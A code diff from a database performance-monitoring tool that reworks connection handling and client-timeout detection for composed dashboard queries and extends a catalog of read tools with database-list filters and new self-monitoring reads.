+            if (mismatches == IntervalRollupCountGuard.UncoveredResult)
+            {
+                ReadScope.Note(ReadFallback.LedgerUncovered);
+                return null;
             }
+
+            return mismatches == 0
+                ? new ComposeHourlyEdgesVerdict(candidate.SourceTable, candidate.HourStartUtc, candidate.HourEndUtc, scope)
+                : null;
         }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "#4605 compose hourly-edges count guard", ex);
 
-        return values;
+            try
+            {
+                await ExecuteSnapshotStatementAsync(connection, HourlyEdgesRollbackToSavepointSql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+            }
+            catch (Exception rollbackEx) when (rollbackEx is not OperationCanceledException)
+            {
+                ReadScope.Warn("#4605 compose hourly-edges guard rollback failed", rollbackEx);
+                rollbackEx.Data[HourlyEdgesLoggedKey] = true;
+
+                /* The transaction cannot be trusted (the client timer may have broken the connection): rethrow to the snapshot
+                   begin, which disposes it and returns no snapshot, so the panel reads raw on a fresh connection. */
+                throw;
+            }
+
+            return null;
+        }
     }
 
     /// <summary>Runs a compiled composed query on the viewer pool and serializes its rows to a JSON array of
     /// <c>{column: value}</c> objects — generic over the SELECT shape (bucket / group dims / value).</summary>
     private static async Task<JsonArray> RunComposedQueryAsync(
-        NpgsqlDataSource postgres, ComposeCompiled compiled, int composedQuerySeconds, System.Threading.CancellationToken cancellationToken)
+        NpgsqlDataSource postgres, ComposeCompiled compiled, int clientDeadlineSeconds, System.Threading.CancellationToken cancellationToken,
+        NpgsqlConnection? sharedConnection = null)
     {
-        await using var command = postgres.CreateCommand(compiled.Sql);
-        command.CommandTimeout = composedQuerySeconds;
+        /* The connection is opened first and on its own, so a pool-wait or connect timeout (also an
+           NpgsqlException over a TimeoutException) is never mistaken for the client timer of a running
+           statement. Only a timeout raised below, while the statement executes, becomes the marker.
+           A caller that already holds the run's connection (the hourly-edges snapshot, #4605) passes it and keeps
+           ownership; every other caller leaves it null and this method opens, and disposes, its own. */
+        NpgsqlConnection? ownedConnection = null;
+        if (sharedConnection is null)
+        {
+            ownedConnection = await OpenComposeConnectionAsync(postgres, cancellationToken);
+        }
+
+        await using var ownedScope = ownedConnection;
+        var connection = sharedConnection ?? ownedConnection!;
+        await using var command = new NpgsqlCommand(compiled.Sql, connection);
+        command.CommandTimeout = clientDeadlineSeconds;
         foreach (var parameter in compiled.Parameters)
         {
             command.Parameters.Add(parameter);
         }
 
         var rows = new JsonArray();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        try
         {
-            var row = new JsonObject();
-            for (var i = 0; i < reader.FieldCount; i++)
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
             {
-                row[reader.GetName(i)] = reader.IsDBNull(i) ? null : DbValueToJson(reader.GetValue(i));
-            }
+                var row = new JsonObject();
+                for (var i = 0; i < reader.FieldCount; i++)
+                {
+                    row[reader.GetName(i)] = reader.IsDBNull(i) ? null : DbValueToJson(reader.GetValue(i));
+                }
 
-            rows.Add(row);
+                rows.Add(row);
+            }
+        }
+        catch (NpgsqlException ex) when (ex.InnerException is TimeoutException)
+        {
+            throw new ComposeStatementClientTimeoutException(ex);
         }
 
         return rows;
@@ -1609,15 +3682,15 @@ private static async Task<JsonArray> RunComposedQueryAsync(
     /// caller's try/catch exactly like the measure query's (a runaway overlay fails the run with a clear 400,
     /// rather than silently dropping markers the caller can't tell are missing).</summary>
     private static async Task<JsonArray> RunAnnotationsAsync(
-        NpgsqlDataSource postgres, PanelPlan plan, ComposeRunContext runContext, int composedQuerySeconds, System.Threading.CancellationToken cancellationToken)
+        NpgsqlDataSource postgres, PanelPlan plan, ComposeRunContext runContext, int clientDeadlineSeconds, System.Threading.CancellationToken cancellationToken)
     {
         var annotations = new JsonArray();
         var serverClocks = plan.Annotations.Any(a => a.Frame == AnnotationClockFrame.ServerLocal)
-            ? await ReadServerClocksAsync(postgres, runContext, composedQuerySeconds, cancellationToken)
+            ? await ReadServerClocksAsync(postgres, runContext, clientDeadlineSeconds, cancellationToken)
             : ComposeCompiler.NoServerClocks;
         foreach (var (source, compiled) in ComposeCompiler.CompileAnnotations(plan, runContext, serverClocks))
         {
-            var events = await RunComposedQueryAsync(postgres, compiled, composedQuerySeconds, cancellationToken);
+            var events = await RunComposedQueryAsync(postgres, compiled, clientDeadlineSeconds, cancellationToken);
             annotations.Add(new JsonObject { ["source"] = source, ["events"] = events });
         }
 
@@ -1628,21 +3701,29 @@ private static async Task<JsonArray> RunAnnotationsAsync(
     /// every marker by the offset in force on its own date (#4821). Same pool and same timeout as the
     /// annotation queries; a failure surfaces through the caller's try/catch the same way.</summary>
     private static async Task<IReadOnlyDictionary<string, PerformanceMonitor.Analysis.Baselines.ServerClock>> ReadServerClocksAsync(
-        NpgsqlDataSource postgres, ComposeRunContext runContext, int composedQuerySeconds, System.Threading.CancellationToken cancellationToken)
+        NpgsqlDataSource postgres, ComposeRunContext runContext, int clientDeadlineSeconds, System.Threading.CancellationToken cancellationToken)
     {
         var compiled = ComposeCompiler.CompileServerClockRead(runContext);
-        await using var command = postgres.CreateCommand(compiled.Sql);
-        command.CommandTimeout = composedQuerySeconds;
+        await using var connection = await OpenComposeConnectionAsync(postgres, cancellationToken);
+        await using var command = new NpgsqlCommand(compiled.Sql, connection);
+        command.CommandTimeout = clientDeadlineSeconds;
         foreach (var parameter in compiled.Parameters)
         {
             command.Parameters.Add(parameter);
         }
 
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        return await ComposeCompiler.ReadServerClocksAsync(reader, cancellationToken);
+        try
+        {
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            return await ComposeCompiler.ReadServerClocksAsync(reader, cancellationToken);
+        }
+        catch (NpgsqlException ex) when (ex.InnerException is TimeoutException)
+        {
+            throw new ComposeStatementClientTimeoutException(ex);
+        }
     }
 
-    private static JsonValue? DbValueToJson(object value) => value switch
+    internal static JsonValue? DbValueToJson(object value) => value switch
     {
         DateTime dt => JsonValue.Create(dt.ToString("yyyy-MM-ddTHH:mm:ss", CultureInfo.InvariantCulture)),
         double d => JsonValue.Create(d),
@@ -1714,19 +3795,11 @@ internal static bool IsLoopbackRemote(IPAddress? remoteIp)
     /// 415 otherwise. Requiring a non-simple Content-Type forces the browser to CORS-preflight ANY cross-origin
     /// write, and the dashboard answers no preflight — so a simple-request CSRF (which can only send
     /// <c>text/plain</c> / <c>application/x-www-form-urlencoded</c> / <c>multipart/form-data</c>) can never reach
-    /// a write. A null/empty or non-json Content-Type is rejected.
+    /// a write. A null/empty or non-json Content-Type is rejected. The test itself lives in
+    /// <c>PerformanceMonitor.Common.JsonContentType</c>, shared with Lite's MCP host.
     /// </summary>
     internal static bool IsJsonContentType(string? contentType)
-    {
-        if (string.IsNullOrEmpty(contentType))
-        {
-            return false;
-        }
-
-        var semicolon = contentType.IndexOf(';');
-        var mediaType = semicolon >= 0 ? contentType.AsSpan(0, semicolon) : contentType.AsSpan();
-        return mediaType.Trim().Equals("application/json", StringComparison.OrdinalIgnoreCase);
-    }
+        => PerformanceMonitor.Common.JsonContentType.IsJson(contentType);
 
     /* ── definition validation (the authority: a bad doc can never be stored) ── */
 
@@ -2438,6 +4511,7 @@ internal sealed record CatalogRead(string Category, string Description, IReadOnl
     private const string CatPlans = "Plans";
     private const string CatDefaultTrace = "Default Trace";
     private const string CatSystemHealth = "System Health";
+    private const string CatFinOps = "FinOps";
 
     private static CatalogParam PServer() => new("server", TypeServer, false, null);
     private static CatalogParam PHours(int def) => new("hours", TypeInt, false, def);
@@ -2452,10 +4526,24 @@ internal sealed record CatalogRead(string Category, string Description, IReadOnl
     private static CatalogParam PLimit(int def) => new("limit", TypeInt, false, def);
     private static CatalogParam PTop(int def) => new("top", TypeInt, false, def);
     private static CatalogParam PText(string name) => new(name, TypeText, false, null);
+
+    /// <summary>
+    /// #5245: the catalog row of a read that takes the picker's database list. It is the same
+    /// <see cref="CatalogParam"/> as <c>PText("database_name")</c> (text, optional, no default), so the served
+    /// catalog keeps its shape and a client that sends one <c>database_name</c> is unchanged. The helper exists so
+    /// a census can tell a read that takes a LIST (a <c>PDatabases(</c> row, whose dispatch entry calls
+    /// <see cref="DatabaseNames"/>) from a read that takes one name.
+    /// </summary>
+    internal static CatalogParam PDatabases() => PText("database_name");
+
     /// <summary>A text param with a real default, unlike <see cref="PText(string)"/>'s always-null one — e.g.
     /// get_fleet_overview's detail (#4198), whose default "summary" is part of the contract, not an absence.</summary>
     private static CatalogParam PTextDefault(string name, string def) => new(name, TypeText, false, def);
     private static CatalogParam PReqText(string name) => new(name, TypeText, true, null);
+
+    /// <summary>A REQUIRED integer with no default — a point read's key (a Query Store <c>query_id</c>, a snapshot
+    /// <c>session_id</c>), where there is no sensible value to fall back to.</summary>
+    private static CatalogParam PReqInt(string name) => new(name, TypeInt, true, null);
     private static CatalogParam PInt(string name, int def) => new(name, TypeInt, false, def);
 
     /// <summary>
@@ -2500,13 +4588,16 @@ private static CatalogRead R(string category, string description, params Catalog
             ["get_analysis_findings"] = R(CatAnalysis, "Persisted analysis findings for a server.", PServer(), PHours(24), PAsOf(), PLimit(MaxRowLimit), PBool("include_drilldown", false), PBool("full_text", true)),
 
             /* ── sessions (DarlingMcpSessionTools) ── */
-            ["get_active_queries"] = R(CatSessions, "Currently-active queries, optionally blocking-only.", PServer(), PHours(1), PText("database_name"), PBool("blocking_only", false), PLimit(50), PAsOf()),
+            ["get_active_queries"] = R(CatSessions, "Currently-active queries, optionally blocking-only.", PServer(), PHours(1), PDatabases(), PBool("blocking_only", false), PText("wait_type"), PLimit(50), PAsOf()),
             ["get_session_stats"] = R(CatSessions, "Session-level summary counters for a server.", PServer()),
-            ["get_waiting_tasks"] = R(CatSessions, "Tasks currently waiting, with wait type and duration.", PServer(), PHours(1), PLimit(30), PAsOf()),
+            ["get_waiting_tasks"] = R(CatSessions, "Tasks currently waiting, with wait type and duration.", PServer(), PHours(1), PLimit(30), PDatabases(), PAsOf()),
 
             /* ── alerts / mute rules (DarlingMcpAlertTools) ── */
             ["get_alert_history"] = R(CatAlerts, "Recent fired-alert history for a server, newest first and bounded by limit. Excludes operator-dismissed alerts unless include_dismissed is true (dismissed_excluded_count says how many the default hid).", PServer(), PHours(24), PLimit(50), PAsOf(), PBool("include_dismissed", false)),
             ["get_alert_settings"] = R(CatAlerts, "The current alert-settings configuration."),
+            /* #5241: a web-only read (no MCP tool behind it, see WebOnlyReadNames): one alert's advice and fix script,
+               fetched when its Analysis row is first expanded. The key is the page's own row identity. */
+            ["get_alert_details"] = R(CatAlerts, "One fired alert's advice: the heading, fields, advice text and fix script the desktop's Alert Detail shows (never the Apply payload), found by server_id, metric_name and alert_time exactly as get_alert_history reports them. An alert with no advice, or no match, answers an empty details list.", new CatalogParam("server_id", TypeInt, true, null), PReqText("metric_name"), PReqText("alert_time")),
             ["get_mute_rules"] = R(CatAlerts, "The alert mute rules (enabled-only by default).", PBool("enabled_only", true)),
             /* #3598: a read the web host's viewer role can serve — the tool selects only the non-secret carve
                (route_id, metric_match, the GENERATED configured_channels presence column, smtp_recipients,
@@ -2514,46 +4605,47 @@ private static CatalogRead R(string category, string description, params Catalog
             ["get_notification_routes"] = R(CatAlerts, "The alert-family taxonomy (self-monitor / reports / agent-jobs / performance, with every metric each owns) and the notification routes layered over the parent channels — which channels each route sets, never the destination values."),
 
             /* ── blocking / deadlocks (DarlingMcpBlockingTools) ── */
-            ["get_blocked_process_xml"] = R(CatBlocking, "Blocked-process-report XML captures.", PServer(), PHours(24), PLimit(5), PAsOf()),
-            ["get_blocking"] = R(CatBlocking, "Blocking chains observed in the window.", PServer(), PHours(24), PLimit(30), PAsOf()),
-            ["get_blocking_trend"] = R(CatBlocking, "Blocking-event counts over time.", PServer(), PHours(24), PAsOf()),
+            ["get_blocked_process_xml"] = R(CatBlocking, "Blocked-process-report XML captures.", PServer(), PHours(24), PLimit(5), PDatabases(), PAsOf()),
+            ["get_blocking"] = R(CatBlocking, "Blocking chains observed in the window.", PServer(), PHours(24), PLimit(30), PDatabases(), PAsOf()),
+            ["get_blocking_trend"] = R(CatBlocking, "Blocking-event counts over time.", PServer(), PHours(24), PDatabases(), PAsOf()),
             ["get_deadlock_detail"] = R(CatBlocking, "Deadlock graph detail for recent deadlocks.", PServer(), PHours(24), PLimit(5), PBool("full_graph", true), PAsOf()),
             ["get_deadlock_trend"] = R(CatBlocking, "Deadlock counts over time.", PServer(), PHours(24), PAsOf()),
             ["get_deadlocks"] = R(CatBlocking, "Recent deadlocks with victim/resource summary.", PServer(), PHours(24), PLimit(20), PAsOf()),
             ["get_lock_wait_trend"] = R(CatBlocking, "The LCK% family's summed wait ms/sec over time - the aggregate lock-wait lane - with a legend of the types that waited.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
 
             /* ── automatic plan correction (DarlingMcpPlanCorrectionTools, #2028) ── */
-            ["get_plan_corrections"] = R(CatAnalysis, "Automatic plan correction activity + per-database FORCE_LAST_GOOD_PLAN state.", PServer(), PHours(24), PLimit(50), PAsOf(), PBool("full_text", true)),
+            ["get_plan_corrections"] = R(CatAnalysis, "Automatic plan correction activity + per-database FORCE_LAST_GOOD_PLAN state.", PServer(), PHours(24), PLimit(50), PAsOf(), PBool("full_text", true), PDatabases()),
 
             /* ── config: current + history (DarlingMcpConfigTools / DarlingMcpConfigHistoryTools) ── */
-            ["get_database_config"] = R(CatConfig, "Database-level configuration for a server.", PServer(), PText("database_name")),
+            ["get_database_config"] = R(CatConfig, "Database-level configuration for a server.", PServer(), PDatabases()),
             ["get_server_config"] = R(CatConfig, "Server-level configuration (sp_configure) for a server.", PServer()),
             ["get_trace_flags"] = R(CatConfig, "Active trace flags for a server.", PServer()),
-            ["get_database_config_changes"] = R(CatConfig, "Database-configuration changes over time.", PServer(), PHours(168), PAsOf()),
-            ["get_database_scoped_config"] = R(CatConfig, "Database-scoped configuration for a database.", PServer(), PText("database_name")),
-            ["get_query_store_health"] = R(CatConfig, "Per-database Query Store health: actual vs desired state, readonly_reason, storage vs cap, and the two capture modes (query_capture_mode ALL / AUTO / CUSTOM / NONE, wait_stats_capture_mode ON / OFF; null on a pre-rung row or a pre-2017 engine).", PServer(), PText("database_name")),
+            ["get_database_config_changes"] = R(CatConfig, "Database-configuration changes over time.", PServer(), PHours(168), PAsOf(), PDatabases()),
+            ["get_database_scoped_config"] = R(CatConfig, "Database-scoped configuration for a database.", PServer(), PDatabases()),
+            ["get_query_store_health"] = R(CatConfig, "Per-database Query Store health: actual vs desired state, readonly_reason, storage vs cap, and the two capture modes (query_capture_mode ALL / AUTO / CUSTOM / NONE, wait_stats_capture_mode ON / OFF; null on a pre-rung row or a pre-2017 engine).", PServer(), PDatabases()),
             ["get_server_config_changes"] = R(CatConfig, "Server-configuration changes over time.", PServer(), PHours(168), PAsOf()),
             ["get_trace_flag_changes"] = R(CatConfig, "Trace-flag changes over time.", PServer(), PHours(168), PAsOf()),
 
             /* ── core data reads (DarlingMcpDataTools + long-query / fleet tools) ── */
             ["get_collection_health"] = R(CatData, "Per-collector collection health for a server.", PServer()),
             ["get_collection_log"] = R(CatData, "Raw per-run collector log for a server, newest first — or slowest first when min_duration_ms is supplied.", PServer(), PHours(24), PLimit(200), PAsOf(), PText("collector_name"), PDouble("min_duration_ms"), PText("status")),
-            ["get_current_waits_trend"] = R(CatData, "Waiting-task and blocked-session series over time.", PServer(), PHours(4), PText("database_name"), PAsOf()),
-            ["get_blocking_stats"] = R(CatData, "Blocking duration and deadlock severity per minute.", PServer(), PHours(24), PAsOf()),
+            ["get_current_waits_trend"] = R(CatData, "Waiting-task and blocked-session series over time.", PServer(), PHours(4), PDatabases(), PAsOf()),
+            ["get_blocking_stats"] = R(CatData, "Blocking duration and deadlock severity per minute.", PServer(), PHours(24), PDatabases(), PAsOf()),
             ["get_cpu_utilization"] = R(CatData, "CPU utilization over time.", PServer(), PHours(4), PAsOf(), PInt("bucket_minutes")),
-            ["get_file_io_stats"] = R(CatData, "Per-file IO stall/throughput stats.", PServer()),
+            ["get_file_io_stats"] = R(CatData, "Per-file IO stall/throughput stats.", PServer(), PDatabases()),
             ["get_memory_clerks"] = R(CatData, "Top memory clerks by allocation.", PServer()),
             ["get_memory_stats"] = R(CatData, "Server memory summary counters.", PServer()),
             ["get_perfmon_stats"] = R(CatData, "Perfmon counter values, filtered by counter/instance.", PServer(), PText("counter_name"), PText("instance_name")),
-            ["get_query_heatmap"] = R(CatData, "Query counts per (time bin x log-magnitude bucket) - the viewer's Query Heatmap as a table.", PServer(), PHours(24), PText("metric"), PText("database_name"), PInt("bucket_minutes", 5), PLimit(500), PAsOf()),
-            ["get_query_store_regressions"] = R(CatData, "Queries whose Query Store performance got WORSE vs their baseline.", PServer(), PHours(24), PText("database_name"), PLimit(50), PBool("full_text", true), PAsOf()),
-            ["get_query_store_clutter"] = R(CatData, "The Query Store CLUTTER view: per database the collector's read cost (how often and by how much it was the slowest fan-out item), plan churn (plans per query, arrivals per day, one-shot plans) and the options row, each with raw numbers and a decomposed verdict; ONE per-server overhead block (non-sleep QDS_* wait deltas with the excluded sleep waits named, and the Query Store memory clerk). Replicas excluded by architecture with the reason on the row; query_capture_mode (ALL / AUTO / CUSTOM / NONE) carried with capture_mode_known beside it, null meaning a capture older than the V137 rung rather than NONE. window_truncated says the raw tier did not hold the whole window. Composed from collected rows - no new query against the server.", PServer(), PHours(24), PLimit(DarlingMcpQueryStoreClutterTools.DefaultLimit), PBool("include_fleet_median", false), PAsOf()),
-            ["get_query_store_top"] = R(CatData, "Top Query Store queries in the window, optionally filtered by execution outcome or to one exact module before ranking; window_truncated says the raw tier did not hold the whole window (effective_hours_back how far it reached).", PServer(), PHours(24), PTop(20), PText("database_name"), PAsOf(), PText("execution_type"), PText("module_name"), PBool("full_text", false)),
-            ["get_long_query_completions"] = R(CatData, "Completed long-running queries captured by the XE trace.", PServer(), PHours(24), PLimit(30), PAsOf()),
+            ["get_query_heatmap"] = R(CatData, "Query counts per (time bin x log-magnitude bucket) - the viewer's Query Heatmap as a table.", PServer(), PHours(24), PText("metric"), PDatabases(), PInt("bucket_minutes", 5), PLimit(500), PAsOf()),
+            ["get_query_store_regressions"] = R(CatData, "Queries whose Query Store performance got WORSE vs their baseline.", PServer(), PHours(24), PDatabases(), PLimit(50), PBool("full_text", true), PAsOf()),
+            ["get_query_store_clutter"] = R(CatData, "The Query Store CLUTTER view: per database the collector's read cost (how often and by how much it was the slowest fan-out item), plan churn (plans per query, arrivals per day, one-shot plans) and the options row, each with raw numbers and a decomposed verdict; ONE per-server overhead block (non-sleep QDS_* wait deltas with the excluded sleep waits named, and the Query Store memory clerk). Replicas excluded by architecture with the reason on the row; query_capture_mode (ALL / AUTO / CUSTOM / NONE) carried with capture_mode_known beside it, null meaning a capture older than the V137 rung rather than NONE. window_truncated says the raw tier did not hold the whole window. Composed from collected rows - no new query against the server.", PServer(), PHours(24), PLimit(DarlingMcpQueryStoreClutterTools.DefaultLimit), PBool("include_fleet_median", false), PAsOf(), PDatabases()),
+            ["get_query_store_query_history"] = R(CatData, "One Query Store query's executions, duration and CPU per plan over the window (requires database_name, query_id).", PReqText("database_name"), PReqInt("query_id"), PServer(), PHours(24), PAsOf()),
+            ["get_query_store_top"] = R(CatData, "Top Query Store queries in the window, optionally filtered by execution outcome or to one exact module before ranking; window_truncated says the raw tier did not hold the whole window (effective_hours_back how far it reached).", PServer(), PHours(24), PTop(20), PDatabases(), PAsOf(), PText("execution_type"), PText("module_name"), PBool("full_text", false)),
+            ["get_long_query_completions"] = R(CatData, "Completed long-running queries captured by the XE trace.", PServer(), PHours(24), PLimit(30), PAsOf(), PDatabases()),
             ["get_server_properties"] = R(CatData, "Server properties/inventory for a server.", PServer()),
             ["get_tempdb_trend"] = R(CatData, "tempdb space usage over time.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
-            ["get_top_procedures_by_cpu"] = R(CatData, "Top stored procedures by CPU.", PServer(), PHours(24), PTop(20), PText("database_name"), PAsOf()),
-            ["get_top_queries_by_cpu"] = R(CatData, "Top queries by CPU, optionally parallel-only / min-DOP.", PServer(), PHours(24), PTop(20), PText("database_name"), PBool("parallel_only", false), PInt("min_dop", 0), PAsOf()),
+            ["get_top_procedures_by_cpu"] = R(CatData, "Top stored procedures, ranked by CPU (the default), duration, reads or executions (order_by).", PServer(), PHours(24), PTop(20), PDatabases(), PTextDefault("order_by", "cpu"), PAsOf(), PTextDefault("detail", "summary")),
+            ["get_top_queries_by_cpu"] = R(CatData, "Top queries, ranked by CPU (the default), duration, reads or executions (order_by), optionally parallel-only / min-DOP.", PServer(), PHours(24), PTop(20), PDatabases(), PBool("parallel_only", false), PInt("min_dop", 0), PTextDefault("order_by", "cpu"), PAsOf(), PTextDefault("detail", "summary")),
             ["get_pg_top_queries"] = R(CatData, "Top PostgreSQL query shapes by total execution time (Aurora targets).", PServer(), PHours(24), PLimit(20), PAsOf()),
             ["get_pg_plans"] = R(CatData, "Captured PostgreSQL execution plans, grouped by shape. Plans are redacted at collection.", PServer(), PHours(24), PLimit(10), PText("query_id"), PAsOf()),
             ["get_pg_plan_capture_readiness"] = R(CatData, "Whether a PostgreSQL target can capture execution plans at all, facet by facet, with the remedy for each step that is not in place. Read this when a plan or target-log read is empty.", PServer(), PHours(24), PLimit(25), PAsOf()),
@@ -2595,14 +4687,15 @@ private static CatalogRead R(string category, string description, params Catalog
             ["list_servers"] = R(CatData, "The monitored servers known to the store."),
 
             /* ── trends (DarlingMcpTrendTools) ── */
-            ["get_file_io_trend"] = R(CatTrends, "File I/O read and write latency over time per database and file type, heaviest stall first; database_name charts one database per file.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes"), PText("database_name")),
+            ["get_file_io_trend"] = R(CatTrends, "File I/O read and write latency over time per database and file type, heaviest stall first; database_name charts one database per file.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes"), PDatabases()),
             ["get_memory_trend"] = R(CatTrends, "Memory usage over time.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
+            ["get_server_trend"] = R(CatTrends, "One instance trend over time, picked by metric: total_waits, cpu_scheduler, memory_clerks, plan_cache, latch, spinlock, session_stats, collector_duration, tempdb_file_io, tempdb_size or file_io_throughput.", PReqText("metric"), PServer(), PHours(24), PAsOf(), PInt("bucket_minutes"), PText("clerk_types"), PText("names")),
             ["get_perfmon_trend"] = R(CatTrends, "One perfmon counter over time (requires counter_name).", PReqText("counter_name"), PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
             /* #3653 item 17: the four reads below disclose the WINDOW floor as window_truncated (beside
                effective_start / effective_hours_back) — not the page dialect's truncated, which they never had. */
-            ["get_procedure_duration_trend"] = R(CatTrends, "Stored-procedure elapsed ms/sec + executions/sec over time; window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
-            ["get_query_duration_trend"] = R(CatTrends, "Query elapsed ms/sec + executions/sec over time (per-interval rates, not percentiles); window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes")),
-            ["get_query_store_duration_trend"] = R(CatTrends, "Query Store duration ms/sec + executions/sec over time; window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf()),
+            ["get_procedure_duration_trend"] = R(CatTrends, "Stored-procedure elapsed ms/sec + executions/sec over time; window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes"), PDatabases()),
+            ["get_query_duration_trend"] = R(CatTrends, "Query elapsed ms/sec + executions/sec over time (per-interval rates, not percentiles); window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf(), PInt("bucket_minutes"), PDatabases()),
+            ["get_query_store_duration_trend"] = R(CatTrends, "Query Store duration ms/sec + executions/sec over time; window_truncated says the tier did not hold the whole window.", PServer(), PHours(24), PAsOf(), PDatabases()),
             ["get_query_trend"] = R(CatTrends, "One query's metrics over time (requires query_hash + database_name); window_truncated says the tier did not hold the whole window.", PReqText("query_hash"), PReqText("database_name"), PServer(), PHours(24), PAsOf()),
 
             /* ── health / overview (DarlingMcpHealthTools / DarlingMcpFleetTools) ── */
@@ -2614,12 +4707,14 @@ private static CatalogRead R(string category, string description, params Catalog
             ["get_ag_health"] = R(CatOverview, "Availability Group topology: replicas and per-database secondary state.", PServer(), PLimit(DarlingMcpAgTools.DefaultGroupLimit)),
             ["get_store_metrics"] = R(CatOverview, "The monitoring store's own size/compression/growth (self-metrics): a summary by default, object_kind to list one kind, an exact object_name for one object's daily series.", PInt("days_back", 30), PText("object_kind"), PText("object_name"), PLimit(DarlingMcpStoreMetricsTools.DefaultLimit)),
             ["get_store_log"] = R(CatOverview, "What the monitoring store's OWN PostgreSQL server log recorded - a per-class census with the capture denominator beside it, not the lines. Deliberately unbanded.", PHours(24), PLimit(DarlingMcpStoreLogTools.DefaultRetainedLimit), PAsOf()),
+            ["get_store_query_history"] = R(CatOverview, "The monitoring store's OWN SQL statements hour by hour (pg_stat_statements deltas the service snapshots every hour): the top statements over the window by time spent, or one statement's hourly series with query_id.", PText("query_id"), PText("role"), PHours(DarlingMcpStoreQueryHistoryTools.DefaultHours), PTop(DarlingMcpStoreQueryHistoryTools.DefaultTop)),
             ["get_store_query_stats"] = R(CatOverview, "The monitoring store's OWN SQL statements ranked by server-side cost (pg_stat_statements), split by the role that ran them (on a managed store: the web viewer, MCP tools, the Darling Viewer, or the service itself).", PText("role"), PText("order_by"), PTop(DarlingMcpStoreQueryStatsTools.DefaultTop), PBool("full_text", false)),
             ["get_store_host"] = R(CatOverview, "The monitoring store's own HOST profile: platform/RAM/data volume, PostgreSQL/TimescaleDB facts, and a verdict per sizing-relevant setting against what this host would derive today - is the store sized right. No parameters; a snapshot."),
             ["get_collector_cost"] = R(CatOverview, "The monitoring tool's OWN per-collector cost on the monitored servers (self-monitoring) - which of our collectors is the most expensive to run. Pass collector_name for that one collector's daily trend instead of the ranked list.", PInt("days_back", 7), PText("collector_name")),
             ["get_collector_stall_probes"] = R(CatOverview, "The out-of-band server-wide wait samples taken while one of OUR collectors was stalled mid-read - what the monitored instance was doing inside the window the sequential sweep records nothing in. Carries the outcome census beside the samples, deliberately unbanded.", PServer(), PInt("days_back", 7), PLimit(DarlingMcpStallProbeTools.DefaultLimit)),
             ["get_oversized_plan_backlog"] = R(CatOverview, "The cached plans this tool measured as too large to capture inline, and what the out-of-band sweep has done about each one: per server the three verdict buckets (pending/captured/expired, a strict partition), the attempt figures on still-pending rows, the newest capture and expiry instants, and observed_bytes min/median/max, with the per-collector census beside them. Takes no window - a worklist updated in place, not a series. Pass server_name with include_rows for the claim keys.", PServer(), PBool("include_rows", false), PLimit(DarlingMcpOversizedPlanBacklogTools.DefaultLimit)),
-            ["get_read_latency"] = R(CatOverview, "The monitoring tool's OWN read-latency history (self-monitoring) - which of the web dashboard's or MCP server's own reads is really slow, and how often it times out. p50/p95/p99 are bucket upper-bound estimates, per (surface, route), sorted p95 desc. Optional surface (web/compose/mcp) and route filter.", PHours(DarlingMcpReadLatencyTools.DefaultHours), PText("surface"), PText("route"), PLimit(DarlingMcpReadLatencyTools.DefaultLimit)),
+            ["get_slow_reads"] = R(CatOverview, "The monitoring tool's OWN slow or failed reads, newest first - each with the arguments it was asked with, the source that answered and its slowest statements. Recorded when a read took 5 seconds or more or ended in a timeout, error or limit. Optional server, surface (web/compose/mcp) and route filter.", PHours(DarlingMcpSlowReadTools.DefaultHours), PServer(), PText("surface"), PText("route"), PLimit(DarlingMcpSlowReadTools.DefaultLimit)),
+            ["get_read_latency"] = R(CatOverview, "The monitoring tool's OWN read-latency history (self-monitoring) - which of the web dashboard's or MCP server's own reads is really slow, and how often it times out. p50/p95/p99 are bucket upper-bound estimates, per (surface, route), sorted p95 desc. Optional surface (web/compose/mcp) and route filter. fallbacks and gate_failures count reads that fell back to raw.", PHours(DarlingMcpReadLatencyTools.DefaultHours), PText("surface"), PText("route"), PLimit(DarlingMcpReadLatencyTools.DefaultLimit)),
 
             /* ── latch / spinlock (DarlingMcpLatchSpinlockTools) ── */
             ["get_latch_stats"] = R(CatLatch, "Top latch waits in the window.", PServer(), PHours(24), PTop(10), PAsOf()),
@@ -2631,11 +4726,11 @@ private static CatalogRead R(string category, string description, params Catalog
             ["get_resource_semaphore"] = R(CatMemoryGrants, "Resource-semaphore state over time.", PServer(), PHours(24), PAsOf()),
 
             /* ── object / index stats (DarlingMcpObjectStatsTools) ── */
-            ["get_database_sizes"] = R(CatObjects, "Per-database size breakdown.", PServer()),
-            ["get_pvs_stats"] = R(CatObjects, "ADR persistent version store state per database, with an optional top-5 size trend.", PServer(), PInt("trend_hours_back", 0)),
-            ["get_index_usage"] = R(CatObjects, "Index usage (seeks/scans/updates) per index. Unused-first, so pass database_name unless you want a server-wide sweep; the answer carries matching_index_count and truncated.", PServer(), PText("database_name"), PLimit(200)),
-            ["get_object_locking"] = R(CatObjects, "Per-object locking/contention stats.", PServer(), PLimit(200)),
-            ["get_table_index_sizes"] = R(CatObjects, "Per-table/index size breakdown.", PServer()),
+            ["get_database_sizes"] = R(CatObjects, "Per-database size breakdown.", PServer(), PDatabases()),
+            ["get_pvs_stats"] = R(CatObjects, "ADR persistent version store state per database, with an optional top-5 size trend.", PServer(), PInt("trend_hours_back", 0), PDatabases()),
+            ["get_index_usage"] = R(CatObjects, "Index usage (seeks/scans/updates) per index. Unused-first, so pass database_name unless you want a server-wide sweep; the answer carries matching_index_count and truncated.", PServer(), PDatabases(), PLimit(200)),
